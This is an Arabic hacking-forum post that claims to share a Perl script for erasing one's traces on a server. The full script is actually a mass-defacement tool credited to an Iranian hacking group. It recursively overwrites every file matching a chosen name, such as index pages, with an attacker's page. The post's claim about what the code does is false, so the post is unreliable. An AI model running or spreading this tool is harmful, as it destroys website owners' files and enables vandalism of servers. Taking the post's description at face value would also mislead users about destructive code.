مسح الآتار على السيرفر
السلام عليكم ورحمة الله تعالى وبركاته
لمسح الآتار على السيرفر بطرقية سهلة ممكن تستعمل هذا السكربت المبرمج بالبيرل
شغله فقط في السيرفر ويتم مسح الآتار ...
لمسح الآتار على السيرفر بطرقية سهلة ممكن تستعمل هذا السكربت المبرمج بالبيرل
كود:
#!/usr/local/bin/perl
$about =
"\n\e[32m--== [ \e[31mIRAN HACKERS SABOATGE Tools for Mass Defacement $VERSION \e[32m] ==--\e[m\n".
"\e[36mContact:\e[m\n".
"\t \e[33m@\e[m\e[34mE-Mail\e[m: \e[36mlord\e[m\e[31m\@\e[m\e[36mihsteam.com\e[m\n".
"\t \e[33m#\e[m\e[34mIRC: \e[36mIRC.Zirc.org\e[m - channel \e[33m#\e[m\e[32mIHS\e[m\n".
"\n\e[31m=-=-=-=-=-=\e[m".
"\n\e[36mInfo:\e[m\n".
"\t\e[33m-d\e[m \e[31m=\e[m \e[33mDiretory that We Want be Massdeface\e[m\n".
"\t\e[33m-f\e[m \e[31m=\e[m \e[33mfile name that u want to attack for mass deafce\e[m\n".
"\t\e[33m-n\e[m \e[31m=\e[m \e[33m of attacker deface page.\e[m\n".
"\e[36mExemplo:\e[m\nperl $0.pl \e[33m-d\e[m /www \e[33m-f\e[m index. \e[33m-n\e[m /tmp/index.html\n".
"\e[31m=-=-=-=-=-=\e[m\n";
################################################################################***8203;############
use Getopt::Std;
getopts('d:f:n:', \%args);
if (defined($args{'d'})){$dir=$args{'d'};}else{$dir="";}
if (defined($args{'f'})){$file=$args{'f'};}else{$file="";}
if (defined($args{'n'})){$newfile=$args{'n'};}else{$newfile="";}
print $about;
$dirok="\e[33m[+]\e[m Ok, Diretory that wanna be Massdeface: \e[32m$dir\e[m";
$fileok="\e[33m[+]\e[m Ok, O file name for attack: \e[32m$file\e[m";
$newfileok="\e[33m[+]\e[m Ok, O of attacker index file: \e[32m$newfile\e[m";
if("$dir") {
print "$dirok\n";
sleep(1);
} else {
exit();
}
if("$file") {
print "$fileok\n";
sleep(1);
}
else
{
print "";
exit();
}
if("$newfile") {
print "$newfileok\n";
sleep(1);
}
else
{
print "";
exit();
}
printf "\e[33m[+]\e[m Start Defacing......\n";
my @troca;
find($dir, sub { push(@troca, $_[0]) if ($_[0] =~ /$file/i) });
my $quantidade = scalar(@troca);
if($quantidade<=0) {
print "\e[31m[-]\e[m Erro: Nenhum Arquivo encontrado.\n";sleep(1);
print "\e[31m[-]\e[m Coloque a extencao do arquivo.\n";sleep(1);
print "\e[31m[-]\e[m Ou, Apenas arquivo. [Sem extencao].\n";sleep(1);
exit();
}
printf "\e[33m[+]\e[m Ok, found: \e[32m$quantidade\e[m files...\n";sleep(1);
printf "\e[33m[+]\e[m Defacing index files.\n";
open(NEW, "< $newfile");
foreach $files(@troca)
{
open(FILE, "> $files");
while (<NEW>) {
print FILE $_;
}
close(FILE);
seek(NEW, 0, 0);
}
close(NEW);
sleep(1);
printf "\e[33m[+]\e[m hax0r3d Sucessfull!\n";sleep(1);
printf "\e[33m[+]\e[m Total files that defaced: \e[32m$quantidade\e[m\n";
sub find {
my ($path, $callback) = @_;
$path = '/' unless $path;
$path =~ s/^\/+/\//;
$path =~ s/\/$//;
my @files = list_dir($path);
my @dirs;
foreach my $file (@files) {
my $filepath = $path.'/'.$file;
&{$callback}($filepath);
push(@dirs, $filepath) if (-d $filepath);
}
undef(@files);
map { find($_, $callback) } @dirs;
return(1);
}
sub list_dir {
my ($dir, $dont_list_subdirs) = @_;
opendir(DIR, $dir) || return();
my @files = readdir(DIR);
closedir(DIR);
@files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;
return(@files);
}شغله فقط في السيرفر ويتم مسح الآتار ...
اسم الموضوع : مسح الآتار على السيرفر
|
المصدر : قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات